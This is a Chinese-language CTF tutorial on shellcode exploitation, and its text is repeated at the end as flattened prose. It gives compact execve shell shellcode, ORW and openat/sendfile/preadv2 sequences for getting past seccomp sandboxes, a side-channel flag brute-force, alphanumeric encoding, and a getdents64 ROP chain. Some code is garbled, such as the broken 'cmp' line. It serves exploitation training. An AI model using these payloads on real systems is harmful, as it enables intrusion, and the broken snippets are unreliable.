总结在 CTF-PWN 中遇到的 shellcode 利用
字数 1101 2025-08-22 18:37:15

CTF-PWN中的Shellcode利用技术详解

一、Shellcode基础概念

Shellcode是通过软件漏洞执行的机器代码,通常用十六进制表示,因能获得shell而得名。在栈溢出攻击中,攻击者会劫持程序流指向shellcode地址执行任意指令。

现代Linux系统常见的防护机制:

  • ASLR:地址空间布局随机化
  • NX:数据执行保护
  • Canary:栈保护

二、Shellcode可用性测试

测试shellcode是否能正确执行的示例代码:

// gcc -zexecstack -g -m32 -o shellcode-test shellcode-test.c
int main(){
    char shellcode[] = "PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA";
    void (*run)() = (void(*)())shellcode;
    run();
    return 0;
}

三、使用pwntools生成shellcode

3.1 基本用法

当输入长度足够且无特殊限制时,可直接使用pwntools生成:

context.arch = elf.arch
shellcode = asm(shellcraft.sh())
  • 32位getshell:44字节
  • 64位getshell:48字节

3.2 生成指定函数

context.arch = elf.arch
shellcode = shellcraft.function(arg1, arg2...)

示例:生成打开文件的shellcode

shellcode = shellcraft.open('./flag')

四、绕过沙箱限制

4.1 检查沙箱限制

使用seccomp-tools工具:

$ seccomp-tools dump ./pwn

或在exp中:

r = process(["seccomp-tools", "dump", "./pwn"])

4.2 禁用execve的绕过

使用ORW(Open-Read-Write)组合:

32位ORW shellcode(55字节):

shellcode = ''
shellcode += shellcraft.open('./flag')
shellcode += shellcraft.read('eax', 'esp', 0x100)
shellcode += shellcraft.write(1, 'esp', 0x100)
shellcode = asm(shellcode)

64位ORW shellcode(66字节):

shellcode = ''
shellcode += shellcraft.open('./flag')
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)
shellcode = asm(shellcode)

4.3 禁用open/read/write的绕过

使用替代函数组合:

shellcode = shellcraft.openat(0, '/flag', 0)
shellcode += shellcraft.mmap(0x10000, 0x100, 1, 1, 'eax', 0)
shellcode += shellcraft.sendfile(1, 3, 0, 0x100)
shellcode = asm(shellcode)

或使用preadv2+writev:

shellcode = asm('''
    /* openat(fd=-0x64, file='flag', oflag=0) */
    add rax, 0x62
    mov r12, rax
    mov rsi, rax
    mov rdi, -0x64
    mov rax, 0x101
    syscall
    
    /* preadv2(vararg_0=3, vararg_1=0x1337090, vararg_2=1, vararg_3=0, vararg_4=0) */
    mov rdi, 3
    mov rdx, 0x1
    add r12, 0x15
    mov rsi, r12
    mov rax, 327
    syscall
    
    /* writev(fd=1, iovec=0x1337090, count=1) */
    mov rdi, 1
    mov rdx, 0x1
    mov rax, 0x14
    syscall
''')

4.4 禁用输出的绕过

使用侧信道逐位爆破:

from pwn import *
import string

def pwn(p, index, ch):
    code = "push 0x67616c66; mov rdi, rsp; mov rsi, 0x0; mov rax, 0x2; syscall;"  # open
    code += "mov rdi, 0x3; mov rsi, rsp; mov rdx, 0x30; mov rax, 0x0; syscall;"  # read
    code += "cmp byte ptr[rsi+jz loop;" % (index, ch)  # cmp
    code += "xor edi, edi; mov rax, 60; syscall; loop: jmp loop;"  # 死循环或退出
    code = b"\x90" * 20 + asm(code)  # 加nop滑板
    p.send(code)

4.5 切换架构绕过

使用retfq切换到32位架构:

  • 64位和32位系统调用对应关系:
    • fstat → open
    • stat → write

五、绕过其他限制

5.1 严格限制输入长度

短字节shellcode示例:

32位getshell(21字节):

shellcode = asm("""
    push 0x68732f
    push 0x6e69622f
    mov ebx,esp
    xor ecx,ecx
    xor edx,edx
    push 11
    pop eax
    int 0x80
""")

64位getshell(22字节):

shellcode = asm("""
    mov rbx, 0x68732f6e69622f
    push rbx
    push rsp
    pop rdi
    xor esi,esi
    xor edx,edx
    push 0x3b
    pop rax
    syscall
""")

绕过技巧:

  1. 构造二次read:在有限输入中构造read,向第一次输入点末尾继续填入shellcode
  2. 利用寄存器或栈中已有值计算所需地址
  3. 使用\x00开头指令绕过strlen检测
  4. 汇编优化技巧:
    • 用xor rax, rax代替mov rax, 0
    • 用cdq指令优化

5.2 限制输入内容

使用alpha3生成可见字符shellcode:

from pwn import *
import os

context(arch='amd64', os='linux')
context.log_level = 'debug'

fp = open("shellcode", "wb+")
fp.write(asm(shellcraft.sh()))
fp.close()

shellcode = os.popen("python ./alpha3/ALPHA3.py x64 ascii mixedcase rax --input=shellcode").read()
print shellcode

禁用\x0f\x05绕过:
使用xor计算得到syscall或切换到32位使用int 80:

push 0x66666963
pop rsi
xor qword ptr [rax + 0x20], rsi
push rbx
pop rdi
xor al, 0x22
push rax
pop rsi
push 0x66666963
pop rdx
push rbx
pop rax
push rax
push rax
push rax
push rax
push rax
push rax
\x6c\x6c\x66\x66

5.3 限制权限

限制shellcode段权限:
使用mprotect修改权限后再次read:

#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);

远程无读flag权限:
先执行setuid(0)再execve getshell

远程flag文件名未知:
使用getdents64获取文件列表:

p += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(target) + p64(pop_rdx_rbx_ret) + p64(0x100)*2 + p64(read_addr)
p += p64(pop_rdi_ret) + p64(target) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_rbx_ret) + p64(0x0)*2 + p64(open_addr)
p += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(0x404500) + p64(pop_rdx_rbx_ret) + p64(0x400)*2 + p64(getdents64)
p += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(0x404500) + p64(pop_rdx_rbx_ret) + p64(0x400)*2 + p64(write_addr)

5.4 限制只能输入浮点数

使用float类型shellcode(具体实现需根据题目调整)

CTF-PWN中的Shellcode利用技术详解 一、Shellcode基础概念 Shellcode是通过软件漏洞执行的机器代码,通常用十六进制表示,因能获得shell而得名。在栈溢出攻击中,攻击者会劫持程序流指向shellcode地址执行任意指令。 现代Linux系统常见的防护机制: ASLR:地址空间布局随机化 NX:数据执行保护 Canary:栈保护 二、Shellcode可用性测试 测试shellcode是否能正确执行的示例代码: 三、使用pwntools生成shellcode 3.1 基本用法 当输入长度足够且无特殊限制时,可直接使用pwntools生成: 32位getshell:44字节 64位getshell:48字节 3.2 生成指定函数 示例:生成打开文件的shellcode 四、绕过沙箱限制 4.1 检查沙箱限制 使用seccomp-tools工具: 或在exp中: 4.2 禁用execve的绕过 使用ORW(Open-Read-Write)组合: 32位ORW shellcode(55字节): 64位ORW shellcode(66字节): 4.3 禁用open/read/write的绕过 使用替代函数组合: 或使用preadv2+writev: 4.4 禁用输出的绕过 使用侧信道逐位爆破: 4.5 切换架构绕过 使用retfq切换到32位架构: 64位和32位系统调用对应关系: fstat → open stat → write 五、绕过其他限制 5.1 严格限制输入长度 短字节shellcode示例: 32位getshell(21字节): 64位getshell(22字节): 绕过技巧: 构造二次read:在有限输入中构造read,向第一次输入点末尾继续填入shellcode 利用寄存器或栈中已有值计算所需地址 使用\x00开头指令绕过strlen检测 汇编优化技巧: 用xor rax, rax代替mov rax, 0 用cdq指令优化 5.2 限制输入内容 使用alpha3生成可见字符shellcode: 禁用\x0f\x05绕过: 使用xor计算得到syscall或切换到32位使用int 80: 5.3 限制权限 限制shellcode段权限: 使用mprotect修改权限后再次read: 远程无读flag权限: 先执行setuid(0)再execve getshell 远程flag文件名未知: 使用getdents64获取文件列表: 5.4 限制只能输入浮点数 使用float类型shellcode(具体实现需根据题目调整)